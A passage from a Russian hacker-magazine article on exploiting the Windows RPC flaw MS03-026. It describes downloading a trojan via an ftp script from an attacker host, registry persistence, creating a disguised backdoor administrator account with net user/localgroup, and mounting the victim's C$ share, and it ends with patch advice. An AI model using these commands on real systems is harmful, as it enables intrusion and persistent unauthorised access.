Глобальный хак винды

RIP

Xakep, номер #057, стр. 057-068-3

ftp -n -s:a host.nm.ru (разумеется, username, password и host.nm.ru взломщик заменит на свои реквизиты).

Если все сделано правильно, хакер успешно закачает трояна на винду. Сразу после этого будет удален файл "a", чтобы не светиться на глазах у жертвы. Теперь необходимо создать конфиг. Конфиг фантома крайне прост. Кладется он в c:\windows\system32.dfx и имеет несколько параметров. В довершение всего взломщик перенесет exe'шник в безопасное место и запустит его. Троянец пропишется в реестре и будет запускаться при каждом старте системы. Теперь достаточно прицепиться к хосту на указанный в конфиге порт, и хакер получит доступ ко всем дискам жертвы без участия сервиса RPC.

Упрощение задачи

Через два дня после выхода консольного KAHT2, некий r3L4x сделал графическую утилиту, позволяющую сканить и эксплуатировать багу (www.securitylab.ru/?ID=39648, название эксплоита: RPC GUI). В довесок к этому программа содержала портативный FTP-сервер. Стало возможным передавать файл прямо с компьютера скрипткиддиса. Действия взломщика сводились к заполнению двух форм и клику по кнопке Scan. Затем хакер нажимал кнопочку "Exploit" и приступал к протрояниванию жертвы. Да, это поистине полезная утилита для скрипткиддисов. Теперь любой, даже тупой виндовозник, может ломать сотни тачек. Торжество для социума ламеров!

Кстати, некоторые любители взломов совмещают KAHT2 и RPC GUI, используя первый в качестве многопоточного сканера, а второй - в роли мини FTP-сервера.

И еще махинации

Юзеры часто обращают внимание на посторонние программы в их процесс-листе. Если они заметят трояна, то сразу удалят его, и хакер останется с носом. Чтобы этого не произошло, взломщик может создать нового пользователя и добавить его в группу "Администраторы". Тогда он поимеет полный доступ к шарам жертвы (директории c$, d$ и т.п.). Для этого достаточно набрать всего две консольные команды:

net user machine c00lpassw0rd /add

net localgroup Администраторы machine /add (или Administrators для английской системы)

Теперь пользователь с именем machine (жертва примет его за системный аккаунт и побоится удалять) будет жить в системе, а хакер сможет удаленно прицепиться к компьютеру по протоколу NetBIOS. Реализует он вышесказанное командой net, выполненной со своего компьютера:

net use disk: \\IPADDRESS\C$

Утилита спросит у взломщика имя пользователя и пароль к шаре. Он вводит аккаунт, который создал выше, и получает все права над файлами диска C:.

Обратная сторона медали

Итак, я описал действия хакера, который может поломать любого виндузятника, используя виндовый эксплоит. Самое интересное, что жертвой можешь оказаться и ты. Разумеется, если у тебя операционка на NT-платформе и открытый 135 порт. К тому же ты можешь невольно оказаться в роли плацдарма для вируса LoveSan, который запросто просканирует сеть и проникнет в твои форточки ;).

Чтобы этого не случилось - прими необходимые меры по защите своего компьютера. В первую очередь, установи патч от мелкомягких. Он находится на сайте Microsoft: www.microsoft.com/technet/treeview/?url=/technet/security/bulletin/MS03-026.asp. После посещения ссылки выбери свою операционку и нужный язык - тебе будет предоставлен необходимый патч. Его размер колеблется от 700 до 1500 килобайт.